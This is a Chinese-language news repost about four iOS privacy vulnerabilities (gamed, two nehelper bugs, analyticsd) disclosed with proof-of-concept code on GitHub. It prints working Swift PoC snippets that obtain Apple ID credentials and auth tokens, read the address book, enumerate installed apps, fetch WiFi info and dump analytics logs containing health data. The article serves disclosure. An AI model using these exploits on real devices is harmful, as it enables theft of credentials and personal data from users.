研究人员发现三个iOS 0 day漏洞PoC代码

[[425782]]

研究人员发现3个iOS 0 day漏洞PoC代码。

GitHub用户illusionofchaos在GitHub上发布了4个iOS 安全漏洞的PoC代码,其中包含3个0 day漏洞和1个已修复的安全漏洞。这4个漏洞分别是:

  • Gamed 0-day
  • Nehelper Enumerate Installed Apps 0-day
  • Nehelper Wifi Info 0-day
  • Analyticsd (iOS 14.7中已修复)

Gamed 0-day

从APP store中按住那个的应用可以在用户不知情的情况下访问以下信息:

  • Apple ID邮箱和Apple ID账户的全名;
  • Apple ID认证token,允许以用户名义访问*.apple.com上的至少1个终端;
  • Core Duet数据库的完全文件系统读权限,其中包含邮箱、SMS、iMessage和第3方消息APP的联系人,以及与这些联系人进行用户交互的元数据;
  • 快速拨号数据库和地址簿数据库的完全文件系统读权限,包括联系人图片和其他元数据;

PoC代码如下:

  1. let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)! 
  2. let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol 
  3. let pid = ProcessInfo.processInfo.processIdentifier 
  4. proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in 
  5.     accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in 
  6.         let appleID = response.credential.accountName 
  7.         let token = response.credential.authenticationToken 
  8.     } 
  9.     utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in 
  10.         let addressBookData = data 
  11.     } 

Nehelper Enumerate Installed Apps 0-day

该漏洞允许任何用户安装的APP来确定设备上安装的APP是否是给定的bundle ID。XPC终端com.apple.nehelper 有一个访问APP的方法可以接受bundle ID作为参数,并返回含有缓存UUID的数组,缓存的UUID可以用来与设备上安装的应用的bundle ID进行配对。具体参见/usr/libexec/nehelper的[NEHelperCacheManager onQueueHandleMessage:] :

  1. func isAppInstalled(bundleId: String) -> Bool { 
  2.     let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)! 
  3.     xpc_connection_set_event_handler(connection, { _ in }) 
  4.     xpc_connection_resume(connection) 
  5.     let xdict = xpc_dictionary_create(nil, nil, 0) 
  6.     xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1) 
  7.     xpc_dictionary_set_uint64(xdict, "cache-command", 3) 
  8.     xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId) 
  9.     let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) 
  10.     if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil { 
  11.         return true 
  12.     } 
  13.     return false 

Nehelper Wifi Info 0-day

XPC终端com.apple.nehelper会接收用户提供的参数sdk-version,如果该值小于后等于524288,com.apple.developer.networking.wifi-info entiltlement就会跳过。这使得任何符合条件的APP都可以在无需entiltlement的情况下获取WiFi信息。

  1. func wifi_info() -> String? { 
  2.     let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2) 
  3.     xpc_connection_set_event_handler(connection, { _ in }) 
  4.     xpc_connection_resume(connection) 
  5.     let xdict = xpc_dictionary_create(nil, nil, 0) 
  6.     xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10) 
  7.     xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely 
  8.     xpc_dictionary_set_string(xdict, "interface-name", "en0") 
  9.     let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) 
  10.     if let result = xpc_dictionary_get_value(reply, "result-data") { 
  11.         let ssid = String(cString: xpc_dictionary_get_string(result, "SSID")) 
  12.         let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID")) 
  13.         return "SSID: \(ssid)\nBSSID: \(bssid)" 
  14.     } else { 
  15.         return nil 
  16.     } 

Analyticsd (iOS 14.7中已修复)

该漏洞允许任意用户安装的APP访问分析日志。这些日志中含有以下信息:

  • 医疗信息,包括心跳、异常心律事件等;
  • 设备使用信息,包括推送通知数和用户的行为等;
  • 屏幕时间信息和给定bundle ID的所有有用的会话数;
  • Safari中用户查看的web页面的语言;
  • 设备配件的信息,包括厂商、型号、固件版本和用户分配的名字;
  1. func analytics_json() -> String? { 
  2. let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2) 
  3.     xpc_connection_set_event_handler(connection, { _ in }) 
  4.     xpc_connection_resume(connection) 
  5. let xdict = xpc_dictionary_create(nil, nil, 0) 
  6.     xpc_dictionary_set_string(xdict, "command", "log-dump"); 
  7.     let reply = xpc_connection_send_message_with_reply_sync(connection, xdict); 
  8.     return xpc_dictionary_get_string(reply, "log-dump"); 

更多参见:https://habr.com/ru/post/579714/

 

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/151476.html<

(0)
运维的头像运维
上一篇2025-03-13 13:44
下一篇 2025-03-13 13:45

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注